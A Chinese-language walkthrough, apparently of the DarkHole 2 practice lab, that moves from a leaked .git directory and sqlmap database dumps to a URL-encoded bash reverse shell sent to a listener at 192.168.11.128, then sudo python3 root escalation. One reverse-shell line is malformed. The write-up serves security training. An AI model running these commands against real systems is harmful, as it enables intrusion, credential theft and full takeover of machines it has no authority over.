0x01 免责声明
技术文章仅供参考,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。信息及工具收集于互联网,真实性及安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!!!
0x02 正文
进到web界面,发现有个登录界面,尝试弱口令,无果
使用工具扫描一下目录
我们可以看到存在.git目录
存在git泄露,我们使用git-dumper工具来分析一下git文件
安装:
pip3 install git-dumper
使用工具拉取到自己的/tmp目录
切换到tmp目录,查看日志信息
使用git diff 一个个测试
在第二个的时候我们发现了账号和密码
直接使用账号密码登录
登录进去后观察url中含有id=1
猜测存在sql注入
?id=1' and 1=1 --+
页面正常,接着尝试其他的
直接抓取cookie使用sqlmap
sqlmap爆破当前数据库
sqlmap -u http://ip/dashboard.php?id=1 --cookie PHPSESSID=5ji68ki8hsiibafbdaidlbclpb --current-db
获取到数据库名
接下来获取数据库的表名
sqlmap -u http://ip/dashboard.php?id=1 --cookie PHPSESSID=5ji68ki8hsiibafbdaidlbclpb -D darkhole_2 --tables
我们可以看到存在两个表
从 users 表中提取数据
sqlmap -u http://ip/dashboard.php?id=1 --cookie "PHPSESSID=5ji68ki8hsiibafbdaidlbclpb" -D darkhole_2 -T users --dump
没有什么信息,接下来查看下ssh的
看到ssh的账号密码,ssh连接
尝试提权
查看passwd文件
cat /etc/passwd | grep /bin/bash
查看历史命令
在历史命令记录中:wget 下载了一个 反弹shell,然后利用 127.0.0.1?cmd 来执行
查看一下本地服务信息
重新连接登陆 ssh,将本地端口 9999 端口与远程主机端口映射,访问本地端口转发到远程主机
这个代码属于用户losy,然后我们就可以使用 SSH 隧道连接端口 9999,然后,访问 127.0.0.1:9999 进行 反弹shell
bash -c 'bash -i >& /dev/tcp/9008 0>&1'
转成url编码
然后vps开始监听
浏览器访问
http://127.0.0.1:9999/?cmd=bash%20-c%20’bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.11.128%2F9001%200%3E%261’-
或者直接使用curl:
curl http://127.0.0.1:9999/?cmd=bash%20-c%20’bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.11.128%2F9001%200%3E%261’
看用户,已经反弹成功
查看历史命令
发现密码
登录losy用户
查看权限
发现有root身份执行python3的权限,我们直接使用root提权
写入文件执行
import os;
os.setuid(0);
os.system("/bin/sh")
或者
sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
成功提权
docker映射到VPS的端口:8080 -->web服务
2222 -->ssh服务
9999 -->反弹shell
9008 -->监听端口